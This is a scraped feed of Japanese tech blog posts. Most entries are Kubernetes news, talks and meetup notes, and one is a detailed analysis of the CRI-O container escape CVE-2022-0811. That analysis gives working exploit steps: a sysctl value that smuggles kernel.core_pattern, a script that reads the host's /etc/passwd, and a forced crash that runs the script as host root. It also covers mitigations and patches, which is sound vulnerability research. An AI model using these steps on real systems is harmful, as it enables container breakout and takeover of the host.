Tokyoで登壇しましたhttps:/...","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220401","isoDate":"2022-04-01T12:45:40.000Z","dateMiliSeconds":1648817140000,"authorName":"bells17","authorId":"bells17"},{"title":"Cluster Autoscaler","contentSnippet":"Kubernetes Meetup Tokyo #49で発表したセッション資料です\\rhttps://k8sjp.connpass.com/event/240993/\\r\\r配信URL:\\rhttps://youtu.be/KOrantQgXkI?t=2258","link":"https://speakerdeck.com/bells17/cluster-autoscaler","isoDate":"2022-03-29T04:00:00.000Z","dateMiliSeconds":1648526400000,"authorName":"bells17","authorId":"bells17"},{"title":"CVE-2022-0811 調査まとめ","contentSnippet":"CRI-O の脆弱性 (CVE-2022-0811) について調べた内容をまとめました。脆弱性の詳細と、関連する CRI-O の実装や Linux の機能を紹介します。CVE-2022-0811 概要CRI-O についてCRI-O 概要pinns による pod へのカーネルパラメータ設定Coredumpエクスプロイト要点検証回避策修正パッチcommit1commit2containerd の場合さいごに参考リンクCVE-2022-0811 概要CVE-2022-0811 は CRI-O の任意コード実行・コンテナブレイクアウトの脆弱性で、報告した CrowdStrike 社は「cr8escape」と呼んでいます。CRI-O の v1.19 以降に影響があり、すでに修正バージョンがリリースされています。 (詳細は Security Advisory を参照)カーネルパラメータ設定の検証不備により、/proc/sys/kernel/core_pattern への書き込みが可能となっていました。これによりプロセスを異常終了させることでホストの root 権限で任意の操作を行えます。CRI-O についてCRI-O 概要https://github.com/cri-o/cri-oCRI-O は Kubernetes に最適化された軽量な高レベルコンテナランタイムです。CLI ツールは crictl (https://github.com/kubernetes-sigs/cri-tools) を使用します。# cat container-config.json { \\"metadata\\": { \\"name\\": \\"ubuntu\\" }, \\"image\\":{ \\"image\\": \\"ubuntu\\" }, \\"command\\": [ \\"sleep\\", \\"3600\\" ], \\"log_path\\":\\"ubuntu.0.log\\", \\"linux\\": { }}# cat pod-config.json { \\"metadata\\": { \\"name\\": \\"ubuntu-sandbox\\", \\"namespace\\": \\"default\\", \\"attempt\\": 1, \\"uid\\": \\"hdishd83fjaiarawuwk28bcsb\\" }, \\"log_directory\\": \\"/tmp\\", \\"linux\\": { }}# crictl runp pod-config.json ← pod の起動b69761649f8f655416d5cba64260298a5e462a6cb108ec54d3ae89c578510edc# crictl create b69761649f8f655416d5cba64260298a5e462a6cb108ec54d3ae89c578510edc container-config.json pod-config.json ← コンテナ作成2ce8010c047dfdf9f16aa127b701fbeda32a1e46c4efcd383f9a20484e07aef7# crictl start 2ce8010c047dfdf9f16aa127b701fbeda32a1e46c4efcd383f9a20484e07aef7 ← コンテナ起動2ce8010c047dfdf9f16aa127b701fbeda32a1e46c4efcd383f9a20484e07aef7# crictl podsPOD ID CREATED STATE NAME NAMESPACE ATTEMPT RUNTIMEb69761649f8f6 42 seconds ago Ready ubuntu-sandbox default 1 (default)# crictl psCONTAINER IMAGE CREATED STATE NAME ATTEMPT POD ID2ce8010c047df ubuntu 19 seconds ago Running ubuntu 0 b69761649f8f6pinns による pod へのカーネルパラメータ設定CRI-O は pinns utility を使用することで、pod 起動時にカーネルパラメータ (sysctls) を設定できます。first commit)設定には -s オプションを使用し、key=value の形式で複数のカーネルパラメータを連結して渡すことができます。pinns -s kernel_parameter1=value1+kernel_parameter2=value2設定可能な sysctls は以下の実装で制限されています。https://github.com/cri-o/cri-o/blob/main/pkg/config/sysctl.govar prefixNamespaces = map[string]Namespace{ \\"kernel.shm\\": IpcNamespace, \\"kernel.msg\\": IpcNamespace, \\"fs.mqueue.\\": IpcNamespace, \\"net.\\": NetNamespace,}// Validate checks that a sysctl is whitelisted because it is known to be// namespaced by the Linux kernel. The parameters hostNet and hostIPC are used// to forbid sysctls for pod sharing the respective namespaces with the host.// This check is only used on sysctls defined by the user in the crio.conf// file.func (s *Sysctl) Validate(hostNet, hostIPC bool) error { nsErrorFmt := \\"%q not allowed with host %s enabled\\" if ns, found := namespaces[s.Key()]; found { if ns == IpcNamespace && hostIPC { return errors.Errorf(nsErrorFmt, s.Key(), ns) } return nil } for p, ns := range prefixNamespaces { if strings.HasPrefix(s.Key(), p) { if ns == IpcNamespace && hostIPC { return errors.Errorf(nsErrorFmt, s.Key(), ns) } if ns == NetNamespace && hostNet { return errors.Errorf(nsErrorFmt, s.Key(), ns) } return nil } } return errors.Errorf(\\"%s not whitelisted\\", s.Key())}sysctls の適用は pinns 内に実装されており、-s オプションの設定値をもとに /proc/sys/ 以下のファイルに書き込みを行なっています。https://github.com/cri-o/cri-o/blob/main/pinns/src/sysctl.cstatic int write_sysctl_to_file (char * sysctl_key, char* sysctl_value){ if (!sysctl_key || !sysctl_value) { pwarn (\\"sysctl key or value not initialized\\"); return -1; } // replace periods with / to create the sysctl path for (char* it = sysctl_key; *it; it++) if (*it == \'.\') *it = \'/\'; _cleanup_close_ int dirfd = open (\\"/proc/sys\\", O_DIRECTORY | O_PATH | O_CLOEXEC); if (UNLIKELY (dirfd < 0)) { pwarn (\\"failed to open /proc/sys\\"); return -1; } _cleanup_close_ int fd = openat (dirfd, sysctl_key, O_WRONLY); if (UNLIKELY (fd < 0)) { pwarnf (\\"failed to open /proc/sys/%s\\", sysctl_key); return -1; } int ret = TEMP_FAILURE_RETRY (write (fd, sysctl_value, strlen (sysctl_value))); if (UNLIKELY (ret < 0)) { pwarnf (\\"failed to write to /proc/sys/%s\\", sysctl_key); return -1; } return 0;}Coredumpプロセスが異常終了した時に、プロセスメモリの dump を core ファイルとして出力します。Coredump の設定は /proc/sys/kernel/core_pattern に書かれており、ファイルの直接編集や sysctl コマンドで設定を変更できます。# sysctl -w kernel.core_pattern=\\"%e-%s.core\\"kernel.core_pattern には dump の出力先パスを指定しますが、最初文字がパイプ | の場合は指定パスのプログラムを実行します (この場合 dump は標準入力として渡される)。/proc/sys/kernel/core_pattern のデフォルト値として、ubuntu (20.04) では apport というバグレポートツールが指定されています。$ cat /proc/sys/kernel/core_pattern|/usr/share/apport/apport %p %s %c %d %P %Eまた Coredump のファイルサイズ上限は ulimit で設定します。脆弱性は Soft Limit が0でも刺さりそうです。# cat /proc/self/limits Limit Soft Limit Hard Limit Units Max cpu time unlimited unlimited seconds Max file size unlimited unlimited bytes Max data size unlimited unlimited bytes Max stack size 8388608 unlimited bytes Max core file size 0 unlimited bytes Max resident set unlimited unlimited bytes Max processes 3819 3819 processes Max open files 1024 1048576 files Max locked memory 67108864 67108864 bytes Max address space unlimited unlimited bytes Max file locks unlimited unlimited locks Max pending signals 3819 3819 signals Max msgqueue size 819200 819200 bytes Max nice priority 0 0 Max realtime priority 0 0 Max realtime timeout unlimited unlimited usエクスプロイト要点kernel.core_pattern は Namespaced ではないため、ホストとコンテナで同じファイルを参照するコンテナ内からは変更不可pod 起動時に sysctl に kernel.core_pattern を設定できれば、ホストの値も変更できるCIO-O 内で sysctl のキーを検証しているが、value に + を含む文字列を渡すことでバイパス可能 (以下コードを参照)設定後にプロセスを異常終了させることで、ホストの root 権限で任意コード実行問題となったコードfunc getSysctlForPinns(sysctls map[string]string) string { // this assumes there\'s no sysctl with a `+` in it const pinnsSysctlDelim = \\"+\\" g := new(bytes.Buffer) for key, value := range sysctls { fmt.Fprintf(g, \\"\'%s=%s\'%s\\", key, value, pinnsSysctlDelim) // ← \\"\'key1=value1\'+\'key2=value2\'\\" の形で文字列連結する } return strings.TrimSuffix(g.String(), pinnsSysctlDelim)}検証脆弱なバージョンの CRI-O で CVE-2022-0811 を検証します。Kubernetes は使用せず、crictl での検証を行いました。# crio --versioncrio version 1.23.1Version: 1.23.1GitCommit: af642cdafed31e4be5dd82e996bb084050c8bb89GitTreeState: dirtyBuildDate: 1980-01-01T00:00:00ZGoVersion: go1.17.4Compiler: gcPlatform: linux/amd64Linkmode: staticBuildTags: apparmor, exclude_graphdriver_devicemapper, seccomp, selinuxSeccompEnabled: trueAppArmorEnabled: true最初にホストに実行させたいプログラムを配置するコンテナを作成します。json、pod-config.json は前述のファイルと同じものです。# crictl runp pod-config.json d33614f0b22d3d81bb680ee76eb1882a1b6287bb99515d6505d75e315b01297a# crictl create d33614f0b22d3d81bb680ee76eb1882a1b6287bb99515d6505d75e315b01297a container-config.json pod-config.json 9029e03c5ac9abf0475d23981d601df5ed0f9b2ebca4168c4a1f48b2caac6123# crictl start 9029e03c5ac9abf0475d23981d601df5ed0f9b2ebca4168c4a1f48b2caac61239029e03c5ac9abf0475d23981d601df5ed0f9b2ebca4168c4a1f48b2caac6123起動したコンテナにアタッチし、コンテナの root パスにプログラムを配置します。/etc/passwd をコンテナ内の /output に出力するスクリプトを用意しました。# crictl exec -it 9029e03c5ac9abf0475d23981d601df5ed0f9b2ebca4168c4a1f48b2caac6123 bashroot@d33614f0b22d:/# mount | grep overlayoverlay on / type overlay (rw,relatime,lowerdir=/var/lib/containers/storage/overlay/l/73PSGHB33J2RBZXIUVK7SRC4UA,upperdir=/var/lib/containers/storageoverlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/diff,workdir=/var/lib/containers/storage/overlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/work,metacopy=on,volatile)root@d33614f0b22d:/# echo \'#!/bin/sh\' > /cmdroot@d33614f0b22d:/# echo \'cat /etc/passwd > /var/lib/containers/storage/overlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/diff/output\' >> cmdroot@d33614f0b22d:/# cat /cmd#!/bin/shcat /etc/passwd > /var/lib/containers/storage/overlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/diff/outputroot@d33614f0b22d:/# chmod a+x /cmd続いて kernel.core_pattern を変更する pod を作成します。+ で連結した value を記載します。value に記載する kernel.core_pattern には、ホストから見たプログラムの絶対パスを指定しています。# をつけていますが、これは CRI-O の実装で付与されるシングルクォートを無効化する役割があります。# cat /proc/sys/kernel/core_pattern|/usr/share/apport/apport %p %s %c %d %P %E# cat pod-config2.json { \\"metadata\\": { \\"name\\": \\"ubuntu-sandbox2\\", \\"namespace\\": \\"default\\", \\"attempt\\": 1, \\"uid\\": \\"edishd83djaidwnduwk28bcsd\\" }, \\"log_directory\\": \\"/tmp\\", \\"linux\\": { \\"sysctls\\": { \\"kernel.shm_rmid_forced\\": \\"1+kernel.core_pattern=|/var/lib/containers/storage/overlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/diff/cmd #\\" } }}# crictl runp pod-config2.json FATA[0001] run pod sandbox: rpc error: code = Unknown desc = container create failed: write to /proc/sys/kernel/shm_rmid_forced: Invalid argument pod 作成はエラーになりますが、kernel.core_pattern を見ると変更されていることがわかります。# cat /proc/sys/kernel/core_pattern |/var/lib/containers/storage/overlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/diff/cmd #\'最後に起動中のコンテナ内でプロセスを異常終了させることで、 Coredump の機能を呼び出しホストの root 権限でプログラムを実行させることができます。root@d33614f0b22d:/# tail -f /dev/null &[1] 17root@d33614f0b22d:/# ps PID TTY TIME CMD 4 pts/0 00:00:00 bash 17 pts/0 00:00:00 tail 18 pts/0 00:00:00 psroot@d33614f0b22d:/# kill -SIGSEGV 17root@d33614f0b22d:/# ls /bin boot cmd dev etc home lib lib32 lib64 libx32 media mnt opt output proc root run sbin srv sys tmp usr var[1]+ Segmentation fault (core dumped) tail -f /dev/nullroot@d33614f0b22d:/# cat /output root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin...回避策CrowdStrike 社のブログ を参考にしています。CRI-O のアップデート (非推奨だが v1.18 以下へのダウングレードも可)OPA 等のポリシーを設定するPSP で sysctls を全てブロックするpinns の -s を除去するラッパーを用意し、crio.conf の pinns_path に設定する修正パッチcommit1https://github.com/cri-o/cri-o/commit/05c443b06356c2dbf9d30060f362279c6b8ac1a1pinns の -s オプションを生成する箇所で、+ に対してバリデーションを追加しています。 func (mgr *NamespaceManager) NewPodNamespaces(cfg *PodNamespacesConfig) ([]Namespace, error) { ... if len(cfg.Sysctls) != 0 {- pinnsArgs = append(pinnsArgs, \\"-s\\", getSysctlForPinns(cfg.Sysctls))+ pinnsSysctls, err := getSysctlForPinns(cfg.Sysctls)+ if err != nil {+ return nil, errors.Wrapf(err, \\"invalid sysctl\\")+ }+ pinnsArgs = append(pinnsArgs, \\"-s\\", pinnsSysctls) } ... }- func getSysctlForPinns(sysctls map[string]string) string {- // this assumes there\'s no sysctl with a `+` in it+ func getSysctlForPinns(sysctls map[string]string) (string, error) {+ // This assumes there\'s no valid sysctl value with a `+` in it+ // and as such errors if one is found. const pinnsSysctlDelim = \\"+\\" g := new(bytes.Buffer) for key, value := range sysctls {+ if strings.Contains(key, pinnsSysctlDelim) || strings.Contains(value, pinnsSysctlDelim) {+ return \\"\\", errors.Errorf(\\"\'%s=%s\' is invalid: %s found yet should not be present\\", key, value, pinnsSysctlDelim)+ } fmt.Fprintf(g, \\"\'%s=%s\'%s\\", key, value, pinnsSysctlDelim) }- return strings.TrimSuffix(g.String(), pinnsSysctlDelim)+ return strings.TrimSuffix(g.String(), pinnsSysctlDelim), nil }commit2https://github.com/cri-o/cri-o/commit/1af1f8af2c7e23525102dffbf0899b69e34ed3d2文字列の連結をやめ、-s をパラメータ毎に設定する修正がされています。 func (mgr *NamespaceManager) NewPodNamespaces(cfg *PodNamespacesConfig) ([]Namespace, error) { ... - if len(cfg.Sysctls) != 0 {- pinnsSysctls, err := getSysctlForPinns(cfg.Sysctls)- if err != nil {- return nil, errors.Wrapf(err, \\"invalid sysctl\\")- }- pinnsArgs = append(pinnsArgs, \\"-s\\", pinnsSysctls)+ for key, value := range cfg.Sysctls {+ pinnsArgs = append(pinnsArgs, \\"-s\\", fmt.Sprintf(\\"%s=%s\\", key, value)) } ... }containerd の場合他のコンテナランタイムがどうなっているか気になったので、containerd の実装を調べてみました。https://github.com/opencontainers/runc/blob/main/libcontainer/configs/validate/validator.go// sysctl validates that the specified sysctl keys are valid or not.// /proc/sys isn\'t completely namespaced and depending on which namespaces// are specified, a subset of sysctls are permitted.func (v *ConfigValidator) sysctl(config *configs.Config) error { validSysctlMap := map[string]bool{ \\"kernel.msgmax\\": true, \\"kernel.msgmnb\\": true, \\"kernel.msgmni\\": true, \\"kernel.sem\\": true, \\"kernel.shmall\\": true, \\"kernel.shmmax\\": true, \\"kernel.shmmni\\": true, \\"kernel.shm_rmid_forced\\": true, } for s := range config.Sysctl { if validSysctlMap[s] || strings.HasPrefix(s, \\"fs.mqueue.\\") { if config.Namespaces.Contains(configs.NEWIPC) { continue } else { return fmt.Errorf(\\"sysctl %q is not allowed in the hosts ipc namespace\\", s) } } if strings.HasPrefix(s, \\"net.\\") { if config.Namespaces.Contains(configs.NEWNET) { continue } else { return fmt.Errorf(\\"sysctl %q is not allowed in the hosts network namespace\\", s) } } return fmt.Errorf(\\"sysctl %q is not in a separate kernel namespace\\", s) } return nil}CRI-O は pinns により独自の sysctls 設定を実装していますが、pod 作成時に設定する都合上、 OCI の機能を使わない方法を選んだのかもしれません (根拠はないです)。さいごに初めて CRI-O を触りましたが、Docker や containerd とはかなり仕組みが異なることがわかりました。脆弱性の調査を通して CRI-O の実装や Linux の機能に触れることができ、良い機会を得られたと思います。内容に誤りが含まれる可能性がありますので、何かお気づきの方はご指摘等よろしくお願いします。参考リンクhttps://nvd.nist.gov/vuln/detail/CVE-2022-0811https://blog.aquasec.com/cve-2022-0811-cri-o-vulnerabilityhttps://www.crowdstrike.com/blog/cr8escape-new-vulnerability-discovered-in-cri-o-container-engine-cve-2022-0811/https://github.com/cri-o/cri-o/security/advisories/GHSA-6x2m-w449-qwx7https://pwning.systems/posts/escaping-containers-for-fun/https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mountshttps://valinux.hatenablog.com/entry/20210721https://qiita.com/rarul/items/d33b664c8414f065e65ehttps://man7.org/linux/man-pages/man5/core.5.htmlhttps://lwn.net/Articles/280959/https://wiki.ubuntu.com/Apport","link":"https://kyohmizu.hatenablog.com/entry/2022/03/28/182243","isoDate":"2022-03-28T09:22:43.000Z","dateMiliSeconds":1648459363000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"nnn(Terminal file manager)を使ってみる","contentSnippet":"nnnとはhttps://github.com/jarun/nnnターミナル上で動作するファイルマネージャー 良い点軽量で高速な動作を保つために機能をプラグインとして外出しして拡張できる設計になってますプラグインはシェルスクリプトなどで簡単に記述できますキーバインドはviライクですtmuxを利用してる状態の画像表示も問題ないですターミナルはkittyを利用しています インストールUbuntu$ sudo apt install nnnArch Linux$ sudo pacman -S nnnMacOS$ bre...","link":"https://zenn.dev/tayusa/articles/1f87e798ccbed0","isoDate":"2022-03-27T13:27:45.000Z","dateMiliSeconds":1648387665000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"[2022/03/25] 今週のKubernetes + Cloud Native + その他ニュース","contentSnippet":"普段は#kubenewsの2022年03月25日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/NewvQB5q-QU 告知とかニュースっぽいもの Cloud Native Database Meetup #4https:...","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220325","isoDate":"2022-03-25T12:55:35.000Z","dateMiliSeconds":1648212935000,"authorName":"bells17","authorId":"bells17"},{"title":"golangで作るTCPIPプロトコル","contentSnippet":"はじめにとりあえずIT業界に入ったら読んでおけという名著はいろいろありますが、その中の1冊がマスタリングTCP/IP入門編でしょう。僕も買ってはいたものの読むのを途中で挫折していたので、今回しっかり読んでTCP/IPを再勉強してみたいと思います。マスタリングTCP/IPを読みながらその他わからんことはググりつつ、golangでTCPIPプロトコルそのものを自作してみます。方針は以下のようにします。ethernetから作るデータのやり取りにnetパッケージは一切使わない(訂正、PCのIPやMacアドレスを取るのにだけ使用しますた)データのやり取りに使うのはsyscal...","link":"https://zenn.dev/satoken/articles/golang-tcpip","isoDate":"2022-03-21T16:39:19.000Z","dateMiliSeconds":1647880759000,"authorName":"satoken","authorId":"satoken"},{"title":"[2022/03/18] 今週のKubernetes + Cloud Native + その他ニュース","contentSnippet":"普段は#kubenewsの2022年03月18日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/y7DMp3aqCFM 告知とかニュースっぽいもの 3-shake SRE Tech Talk #3https://youtu...","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220318","isoDate":"2022-03-18T12:50:45.000Z","dateMiliSeconds":1647607845000,"authorName":"bells17","authorId":"bells17"},{"title":"あるいはサイドカーでいっぱいの海","contentSnippet":"3-shake SRE Tech Talk #3 https://3-shake.connpass.com/event/241284/ #SRETT","link":"https://speakerdeck.com/nwiizo/aruihasaidokadeitupaifalsehai","isoDate":"2022-03-18T04:00:00.000Z","dateMiliSeconds":1647576000000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Pandocカスタムライター入門1: 基本は文字列処理","contentSnippet":"Pandocは様々な文書ファイルを相互変換できるソフトウェアです。“A unitversal document converter”を名乗るだけのことはあり、HTML, LaTeX, Docx, Markdownなどの様々なファイル形式に対応します。更には対応するファイル形式の追加に対応します。入力の場合はカスタムリーダー、出力の場合はカスタムライターと呼ばれ、共にLua言語で定義できます。","link":"https://blog.atusy.net/2022/03/14/pandoc-custom-writer/","isoDate":"2022-03-14T00:00:00.000Z","dateMiliSeconds":1647216000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"NFTを開発するためのブロックチェーン・スマートコントラクト技術","contentSnippet":"https://cryptocurrency.connpass.com/event/240069/\\rNFT(Non Fungible Token:非代替性トークン)が社会で大きな注目を集めています。\\rEthereum(イーサリアム)ブロックチェーンの概要から始まり、スマートコントラクトについて触れ、NFTを開発するための技術についてお伝えしました。","link":"https://speakerdeck.com/shukob/nftwokai-fa-surutamefalseburotukutiensumatokontorakutoji-shu","isoDate":"2022-03-12T05:00:00.000Z","dateMiliSeconds":1647061200000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Observability Conference 2022 に登壇しました","contentSnippet":"「Dapr の概念と実装から学ぶ Observability への招待」 というタイトルで登壇します。https://event.cloudnativedays.jp/o11y2022/talks/1382:embed:cite セッション概要Dapr は CloudNative な技術を背景に持つ分散アプリケーションランタイムです。本セッションでは Dapr の Observability に関する各種機能と、その実装について解説していきます。さらにスリーシェイクの Dapr と Observability への取り組みに関してもご紹介します。Dapr の機能でカバーできる点...","link":"https://zenn.dev/nwiizo/articles/d837b78914de23","isoDate":"2022-03-11T04:02:18.000Z","dateMiliSeconds":1646971338000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"[2022/03/04] 今週のKubernetes + Cloud Native + その他ニュース","contentSnippet":"普段は#kubenewsの2022年03月04日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/3s0T6k24I_o 告知とかニュースっぽいもの Twitterコミュニティ機能についてhttps://twitter.co...","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220304","isoDate":"2022-03-04T12:34:50.000Z","dateMiliSeconds":1646397290000,"authorName":"bells17","authorId":"bells17"},{"title":"RStudio Serverでblogdownを快適に使えるようにする","contentSnippet":"RStudioではうまくプレビューできたblogdown製のウェブページが、RStudio Serverではうまくプレビューできないことがあります。例えば以下のようなことが起きます。","link":"https://blog.atusy.net/2022/03/02/blogdown-rstudio-server/","isoDate":"2022-03-02T00:00:00.000Z","dateMiliSeconds":1646179200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ウェブサイトのCSSやJavaScriptでキャッシュの衝突を避ける","contentSnippet":"CSSやJavascriptのキャッシュはブラウジングの速度に貢献する一方、更新がクライアントサイドに適切に反映されない場合があります。ブラウザがキャッシュしている場合、キャッシュの有効起源切れを待つかスーパリロードを使うという手もあります。スーパーリロードはChromeやFirefoxではCtrl+Shift+Enterのキーボードショートカットでも実行できます。","link":"https://blog.atusy.net/2022/03/02/hugo-css-fingerprint/","isoDate":"2022-03-02T00:00:00.000Z","dateMiliSeconds":1646179200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Dapr の概念と実装から学ぶObservability への招待","contentSnippet":"Observability Conference 2022 2022/03/11(Fri)\\rDapr の概念と実装から学ぶObservability への招待\\rhttps://event.cloudnativedays.jp/o11y2022/talks/1353","link":"https://speakerdeck.com/nwiizo/dapr-falsegai-nian-toshi-zhuang-karaxue-bu-observability-hefalsezhao-dai","isoDate":"2022-02-28T05:00:00.000Z","dateMiliSeconds":1646024400000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"JAWS-UG SRE支部 #2 突撃!となりのSRE","contentSnippet":"jawsug-sre.connpass.com聞いてきましたのでメモと感想を残しておきます。LTマネーフォーワードのマイクロサービス基盤のこれまでとこれから by マネーフォワード @grezarjpマネーフォワードのマイクロサービス基盤の移り変わりの紹介。中央集権構造 => 権限移譲フェーズ => これから中央集権構造サービスごとに開発チームが存在、サービスにまたがってインフラチームが存在開発チームはインフラを気にしなくてもすんだ。メンバーが少ないうちはなんとかなった組織の規模に対してインフラチームがスケールしなくなった責務の分解点を再定義 DevOpsへ権限移譲フェーズ開発チームに権限を渡していくAWSとKubernatesを使用ランタイム、ミドルウェアも開発チームが管理サービスごとにNamespaceを切る、Namespace内で開発チームは権限を持つマイクロサービスごとにAWSアカウント管理して、リソースを管理するこれから権限は渡したが、運用まではむつかしい開発の運用を負荷を下げるためにTerraformのモジュール化、設定のバリデーションの整備AWSアカウントの統制、コスト可視化を進めたいアプリケーションランタイムのSnadbox化特殊要件なアプリケーションで使えるように開発チームにここまでインフラの権限を渡せて、運用できるのはすごいなと思った。QAQ: 開発チームの権限移譲の苦労、運用面、技術面A: マルチアカウントをつかって 技術上の考慮点があった人と人とのかかわりに関しては銀の弾丸はないので、地道な作業が必要ドキュメントとかで監視項目を揃えてあげるのに力を入れたQ: 開発とインフラでスキルセットの違いはあった?A:インフラはアプリをあんまり見てこなかったのでそのへんのギャップはあったQ: EKSのテナント分割の単位A: 権限分類と障害の影響範囲の最小化はシングルテナントが有利とは言われるが運用負荷を下げるためにマルチテナントを選んだSREグループのマネージャーという立場になって真っ先にやったこと by ミクシィ@isaoshimizu内容に関しては、スライドに詳しく書いてあるので参照。SREのミッション・バリューいいなあと思った。うちのチームでもちゃんと考えたい。SRE Lounge #13 LTでも今回と近いことを書いてるので参照してほしいとのこと↓組織にSREの文化を作り上げていくEnabling SRE | Money Forward Engineers\' BlogQAQ: SRE主導でやるべきではなかったことA: SREは万能な人がおおくでできてしまう開発側のリソースが足りなくて急がないといけないことをSREがやってしまう本来はそうじゃないよねって話自分としては、SREでも開発分野でも巻き取れることはやってしまってもいいと思うんですよね。線を引きすぎるとセクショナリズムになってあまり良くない気がしてる。組織のあり方はそれぞれで、コンテキスト分かってないので、言い切ることはできないですが。Containerサービス と Toil と by スリーシェイク \xa0@tt0603ECSとEKSについてToilと紐付けての話題。Toilの削減ステップ特定計測削減ただこのプロセスはつらい。SREとしては長期的なエンジニアリング に時間を使いたい。本質的なことをすることが目的。Toilを削減することが目的ではない。技術選定として、まずマネージドで考える。チームとして何を大事にしているかを考える。自分たちの”サイズ”で技術選定をして価値あるエンジニアリングをする。個人的にはEKSとECSのまとめがわかりやすくてよかった。QAQ: セルフホステッドを選択する場合は?A: 監視するとき Prometheus使うときとかつらいのでFargateは起動が遅い スケールが遅い技術選定において、自分たちの「サイズ」っていう要素が存在するというのは暗黙的なものになりがちなので、ちゃんと具体的に捉えておくの大事な気がした。 #jawsug_sre— Tomoya Kitaura (@kitta0108) 2022年2月25日 先程はパッと答えられませんでしたが、弊社の場合はMicroServiceを運用する際にはIstioを利用するケースが非常に多く、現状では対応していないため、EKSの場合はSelf Hostedを利用するケースが多いですー#jawsug_sre— TakuyaTezuka@3-shake (@tt0603) 2022年2月25日 パネルディスカッションMFのSREの組織のやり方で工夫してるところもともと中央集権的だった、開発に権限移譲していった権限を渡していっていながらそれ以上にプロダクトが開発が増えてしまったので負荷が増えてしまったenabling SREを広げる役割もつくるSREというポジションじゃなくてもSRE的な動きができるように組織にSREの文化を作り上げていくEnabling SRE | Money Forward Engineers\' Blog技術支援からSREの組織変数がいくつか システムの規模 性質 組織規模、レベル感などpure sreではじめて権限移譲していく自分たちのサイズに合わせて組織を作っていく開発とSREのベストの距離感タイミングによって違う固定されたものじゃない構成をいかにシンプルにできるかが大事SREが開発に使いやすいサービスを提供するSREのAPIを提供するので好きに使って的な横断組織SREと開発チーム内SREというパターンもあるお互いのコミュニケーションは大事採用する際に求めるスキルセットやレベル感なんでもかんでも能力を持ってる人はいない。特定の領域に得意を持ってるといい、最低限のレベル感はほしいコミュニケーション 大事 ソフトスキルの担保が大事会社のバリューにあってるかSREワークブックの最後の方求められるスキル書いてあるすべてのインフラコードはIaCに寄せたい、チームにはソフトウェアスキル、インフラスキルそれぞれ持つメンバーがほしい変更時のトラブルシューティングはできるべきコードレビューできるスキルを持っていてほしいコーディングあるていどできる人組織による開発をSREに興味をもってもらうはどうしたらいいのだろうかSLOを決めて共通言語で話す留学すると面白いかもお互いがどういう観点で仕事してるかがわかってよいどこまで開発に移譲するかエラーバジェット、SLO、SLIは必要SREが設定するSLOより開発者が設定するSLOの方がいい開発者にとってうまいところを教えるアプローチ開発者にとってもバグが出ないことによって、気持ちよく開発できるよ!開発者の観点じゃなくてビジネス観点でSLO設定するんじゃないのかなって思う。。。?あと、留学いいなあと思った。開発チームに留学したい。SREチームが存在しない。どんなフェーズになったらSREチームを作ったほうがいいというしきい値あります?開発者が開発以外に手を取られて開発スピードが落ちてるのが目に見えたら兼務の限界値がある。得意なことにバリューを出せるようにしたい開発しながらAWSの新機能をキャッチアップするのはたいへんdevとopsのバランスが崩れているとき SREのプラクティスをいれるといいのかもエラーバジェットが判断軸になるかもどれくらいのチームが困ってるかが判断軸になるToil撲滅の意味で費用対効果高かったLambdaランキング今Lambdaを殆ど使ってないchatbotが出たのでLambdaの役割を終えたEKS上にアプリケーションを作ってしまうことが多い必要悪としてのLambda コードを書くのは最終手段。書いた瞬間に負債になる時刻でEC2終了するLambdaオートスケーリングでいいのでは?terrafromでLambda扱いにくい問題SREとしてセキュリティに対しての役割サービスInspectorECRのイメージスキャンCI/CD成立してからじゃないとイメージスキャンできないGuardDutySSOIAM 